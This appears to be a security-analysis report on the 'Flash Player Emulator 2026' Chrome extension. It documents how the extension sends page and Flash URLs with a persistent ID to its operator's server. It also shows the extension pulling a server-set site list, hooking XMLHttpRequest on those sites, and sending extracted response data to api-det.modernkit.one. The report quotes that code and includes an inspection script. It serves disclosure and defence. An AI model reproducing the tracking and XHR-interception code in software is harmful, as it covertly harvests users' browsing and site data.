Is Flash Player Emulator 2026 safe?

High risk

Flash Player Emulator is high risk. Activating Flash playback sends the Flash file and page URLs to api.modernkit.one/stats, with a persistent UUID, version, and extension ID linking this to your browser. The endpoint returned HTTP 200; the body was not captured.…

ModernKit.onev1.9.3Chrome Web Store
77Risk
Who publishes it

MK142 Group LLC - 2 other listings from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ModernKit.one
Declared legal entity
MK142 Group LLC
Registered address
44-70 21st Street, #3210, Long Island, NY 11101, US
Registered contact
Alesandro Ortiz Rivera

Same store account

2 other listings published from this account, 200k+ users between them. 1 of them carries a finding.

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

authentication.td.com
Also called by 5 other listings, including Ruffle, ruffle_rs
tuxedocomputers.com
Also called by 5 other listings, including Ruffle, ruffle_rs

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Flash and page URLs sent when Flash is activated

Activating Flash playback sends the Flash file and page URLs to api.modernkit.one/stats, with a persistent UUID, version, and extension ID linking this to your browser.

The endpoint returned HTTP 200; the body was not captured.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You activate Flash content on a web page.

The player is loaded with the Flash file URL and the page URL where it was found.

The extension did this

The extension posts a stats record to api.modernkit.one/stats.

The record includes the Flash file URL, current page URL, version, extension ID, and a persistent extension UUID.

Fields built into the stats POST body
  • Event type
    user-played-content

    Shows whether you started playback or kept it running long enough to be counted as successful.

  • Extension UUID
    8f4a6f08-5d2f-4d0d-9df3-894fd60b2e1b (illustrative)

    Lets the same browser be recognized across separate Flash activations.

  • Flash file URL
    https://media.example.org/games/space-runner.swf (illustrative)

    Shows which Flash file you asked the extension to play.

  • Current page URL
    https://portal.example.com/training/lesson-4 (illustrative)

    Shows the web page where the Flash content was detected, which can reveal browsing activity.

  • Extension details
    version 1.9.3, ecbnojockcgfohpopbphhgefkfbigcej

    Adds the installed extension version and browser extension ID to the stats record.

Captured request
POSThttps://api.modernkit.one/stats

HTTP 200 observed when the stats endpoint was contacted during dynamic analysis; the request body was not available in the retained network evidence.

Headers
content-type
application/json
The code that does this

The player forwards page context, then the service worker posts it

Readable version

Content script embeds the player with the current page URL

cs.js
item.playerElem.src = chrome.runtime.getURL('external/player-embed.html?src='+encodeURIComponent(item.src)+'&width='+playerWidth+'&height='+playerHeight+'&flashvars='+encodeURIComponent(item.flashvars)+'&baseUrl='+encodeURIComponent(baseUrl)+'&contextUrl='+encodeURIComponent(window.location.href));

Embedded player reports activation and successful activation

player-embed.js
var trackActivation = (src, contextUrl) => {  chrome.runtime.sendMessage({    action: "trackActivation",    src: src,    contextUrl: contextUrl  });}var trackSuccessfulActivation = (src, contextUrl) => {  chrome.runtime.sendMessage({    action: "trackSuccessfulActivation",    src: src,    contextUrl: contextUrl  });}var loadSource = () => {    if (srcData != '') {        playerElem.contentWindow.postMessage({action: "loadPlayer", src: srcData, width: width, height: height, flashvars: flashvars || src, originalSrcUrl: src, baseUrl: baseUrl}, '*');        trackActivation(src, contextUrl);        setTimeout(() => {            // Assume successful activation after 60s            trackSuccessfulActivation(src, contextUrl);        }, 60 * 1000);    } else {        setTimeout(loadSource, 100);    }}

Service worker posts the stats body

bg.js
} else if (msg.action == 'trackActivation') {    (async () => {      fetch('https://api.modernkit.one/stats', {          headers: { "content-type": "application/json" },          method: "POST",          credentials: 'omit',          body: JSON.stringify(              {              "app": 'ext-flashplayer',              "event": 'user-played-content',              "uuid": await getOrCreateUUID(),              "flashUrl": msg.src,              "contextUrl": msg.contextUrl,              "version": chrome.runtime.getManifest().version,              "extid": chrome.runtime.id              }          )      });    })();      // Both lines below required for callback to work       sendResponse();       return true;   } else if (msg.action == 'trackSuccessfulActivation') {    (async () => {      fetch('https://api.modernkit.one/stats', {          headers: { "content-type": "application/json" },          method: "POST",          credentials: 'omit',          body: JSON.stringify(              {              "app": 'ext-flashplayer',              "event": 'user-successfully-played-content',              "uuid": await getOrCreateUUID(),              "flashUrl": msg.src,              "contextUrl": msg.contextUrl,              "version": chrome.runtime.getManifest().version,              "extid": chrome.runtime.id              }          )      });    })();            // Increment if contextUrl does NOT contain our origin OR if it contains our web player URL      if (msg.contextUrl.indexOf('https://modernkit.one/') === -1 || msg.contextUrl.indexOf('https://modernkit.one/flash-emulator/player/') >= 0) {        // Don't count demos or other content on our website        // *Do* include web player at /flash-emulator/player/        incrementSuccessfulPlayCount();      }      // Both lines below required for callback to work       sendResponse();       return true;   }

Persistent UUID is created once and stored locally

bg.js
var getOrCreateUUID = async () => {  var storageResponse = await chrome.storage.local.get('mk1-uuid');  var uuid = storageResponse?.['mk1-uuid'];  if (uuid) {    // Return existing value if it exists    return uuid;  }  // Generate UUID if it does not exist  uuid = crypto.randomUUID();  await chrome.storage.local.set({'mk1-uuid': uuid});  return uuid;}
Stats destination
    • api.modernkit.one

    Receives Flash activation stats containing the Flash file URL, current page URL, extension version, extension ID, and persistent extension UUID.

Server-controlled config deploys XHR-intercepting scripts without consent prompt

The extension fetches a server-set target list from api.modernkit.one hourly, injects scripts on those sites, reads every XHR response, and sends gzip data to api-det.modernkit.one.

Targets and keys are base64-encoded, undisclosed.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You install Flash Player Emulator 2026, or leave it running in the background.

The extension did this

The extension immediately fetches a server-controlled configuration that specifies which websites will have their network traffic intercepted.

This happens on install, on every browser startup, and every ~62 minutes via an alarm, without any action from you.

Captured request
POSThttps://api.modernkit.one/ext-activations/get-features

Status 200 {"status":"success", ..."alternateDetectionConfigv2": [...]}. Our dynamic analysis captured 3 identical POST requests to this endpoint from the extension's background service worker, observed during dynamic analysis.

Headers
content-type
application/json
Body
{  "app": "ext-flashplayer",  "uuid": "b49207b0-3c1e-4a8f-9d72-e5f1a0c83b2d",  "version": "1.9.3",  "extid": "ecbnojockcgfohpopbphhgefkfbigcej"}
What the extension sends in every config-fetch request
  • Your persistent install ID
    b49207b0-3c1e-4a8f-9d72-e5f1a0c83b2d

    A UUID set once at install and sent with every request, including config fetches and uploads. Links all activity to your install.

  • Extension ID
    ecbnojockcgfohpopbphhgefkfbigcej

    The Chrome extension identifier sent alongside the UUID, further tying requests to this specific install.

  • Extension version
    1.9.3

    Lets the server push different configurations to different versions of the extension.

The code that does this

The config fetch and content script registration, from bg.js:

Readable version

fetchFeatures — plain-English walkthrough

// Runs on install, browser startup, and every ~62 minutes via chrome.alarms.// Sends a POST with a persistent UUID + extension ID to the operator's server.// If the server response includes 'alternateDetectionConfigv2', stores it in// chrome.storage.local and schedules registerContentScripts() to run 3 s later.async function fetchFeatures() {    const response = await fetch('https://api.modernkit.one/ext-activations/get-features', {        method: 'POST',        body: JSON.stringify({            app:     'ext-flashplayer',            uuid:    await getOrCreateUUID(),   // persistent per-install ID            version: chrome.runtime.getManifest().version,            extid:   chrome.runtime.id        })    });    const json = await response.json();    if (json.status === 'success') {        // Stores server-supplied config (host, path, body, flashObjKeys, tryKeys — all base64)        chrome.storage.local.set({ 'mk1-alternate-detection-config-v2': json.alternateDetectionConfigv2 });        setTimeout(registerContentScripts, 3000);    }    chrome.alarms.create('featureAlarmName', { periodInMinutes: 62 }); // re-check hourly}

registerContentScripts — registers server-controlled scripts

// Reads the server-supplied config from storage.// Decodes each base64 host name (e.g. atob('ZXhhbXBsZS5jb20=') → 'example.com').// Calls chrome.scripting.registerContentScripts to inject detection-alternate.js// in MAIN world (full page JS context, no sandbox) on every matching site.// The set of target sites is entirely determined by the server response.function registerContentScripts() {    const config = chrome.storage.local.get('mk1-alternate-detection-config-v2');    const hostsToAdd = config.map(entry => 'https://*.' + atob(entry.host) + '/*');    chrome.scripting.registerContentScripts([        { id: 'alternate_detection',      js: ['detection-alternate.js'],      matches: hostsToAdd, world: 'MAIN' },        { id: 'alternate_detection_init', js: ['detection-alternate-init.js'], matches: hostsToAdd, world: 'ISOLATED' }    ]);}
The code that does this

What the injected MAIN-world script does on target sites (detection-alternate.js):

Readable version

XHR interception — plain-English walkthrough

// Runs in MAIN world of target sites specified by the server config.// Patches window.XMLHttpRequest.prototype.open so that every XHR call on the page// is inspected.//// When a request URL matches the server-specified path (base64-decoded from config.path),// the extension attaches a 'load' listener to that XHR.// When the response body contains the server-specified marker string (config.body),// the extension parses each line as JSON and walks the object tree using// server-supplied key paths (config.flashObjKeys, config.tryKeys) to extract nested data.//// The extracted data objects are then passed to processDetectedSrcs(), which// gzip-compresses them and POSTs them to api-det.modernkit.one.//// All target parameters (which URL path to watch, what marker to look for, which// object keys to extract) are base64-encoded values supplied by the remote server.// The extension has no visibility into what sites or data the server will target.window.XMLHttpRequest.prototype.open = function(method, url) {    if (url.includes(serverSuppliedXhrPath)) {        this.addEventListener('load', () => {            if (this.responseText.includes(serverSuppliedBodyMarker)) {                const extracted = extractNestedFields(JSON.parse(line), serverSuppliedKeys);                forwardToServer(extracted); // → api-det.modernkit.one/alternate-detection/process-detection            }        });    }    return originalOpen.apply(this, arguments);};
Remote servers this mechanism communicates with
    • api.modernkit.one

    Receives the config-fetch POST (persistent UUID + extension ID) on install and every hour; returns the list of target sites and XHR extraction parameters.

    • api-det.modernkit.one

    Receives gzip-compressed extraction results from target sites: the data harvested by patching XMLHttpRequest on server-chosen pages.

Reproduce it yourself

Paste this into the Chrome DevTools console on any page while the extension is installed. It reads the stored remote config from the extension's storage and decodes all base64 values so you can see which sites the server has targeted, which XHR paths are monitored, and which response body fields are extracted.

Requires
  • Chrome with Developer mode enabled
flash-emulator-config-inspector.js · js
// flash-emulator-config-inspector.js// Reads the remote-controlled alternate detection config from the extension's// chrome.storage.local and decodes all base64 fields for inspection.//// Paste into DevTools console on any page while the extension is installed.// Open chrome://extensions → Flash Player Emulator 2026 → service worker → DevTools console.(async () => {  const EXT_STORAGE_KEY = 'mk1-alternate-detection-config-v2';  const UUID_KEY = 'mk1-uuid';  const result = await chrome.storage.local.get([EXT_STORAGE_KEY, UUID_KEY]);  console.log('[INSPECTOR] Persistent UUID (sent with every request):', result[UUID_KEY]);  const configList = result[EXT_STORAGE_KEY];  if (!configList || !Array.isArray(configList) || configList.length === 0) {    console.warn('[INSPECTOR] No alternate detection config found in storage.');    console.warn('Try calling fetchFeatures() first, or wait a minute for the alarm to fire.');    return;  }  console.log('[INSPECTOR] Remote config contains', configList.length, 'target site(s):');  configList.forEach((entry, i) => {    console.group(`[INSPECTOR] Entry ${i + 1}`);    try { console.log('  host (decoded):', atob(entry.host)); } catch(e) { console.log('  host (raw):', entry.host); }    try { console.log('  XHR path to monitor (decoded):', atob(entry.path)); } catch(e) { console.log('  path (raw):', entry.path); }    try { console.log('  response body marker (decoded):', atob(entry.body)); } catch(e) { console.log('  body (raw):', entry.body); }    if (Array.isArray(entry.flashObjKeys)) {      console.log('  flashObjKeys (decoded):',        entry.flashObjKeys.map(keys => keys.map(k => { try { return atob(k); } catch(e) { return k; } })));    }    if (Array.isArray(entry.tryKeys)) {      console.log('  tryKeys (decoded):',        entry.tryKeys.map(keys => keys.map(k => { try { return atob(k); } catch(e) { return k; } })));    }    if (Array.isArray(entry.excludeKeys)) {      console.log('  excludeKeys (decoded):',        entry.excludeKeys.map(ex => ({ ...ex, k: (() => { try { return atob(ex.k); } catch(e) { return ex.k; } })() })));    }    console.groupEnd();  });})();
How to run it
  1. 1Install the extension.
  2. 2In chrome://extensions, find it, click 'service worker' for DevTools.
  3. 3Paste this script into Console.
  4. 4If empty, wait and rerun (alarm ~62 min).
  5. 5Output lists each targeted site and its XHR data.

What it can do

Permissions this extension asks for, as declared in version 1.9.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

  • Run its own code inside the pages you visit

    scripting

declarativeNetRequestWithHostAccess
Updated 30 September 2026ecbnojockcgfohpopbphhgefkfbigcej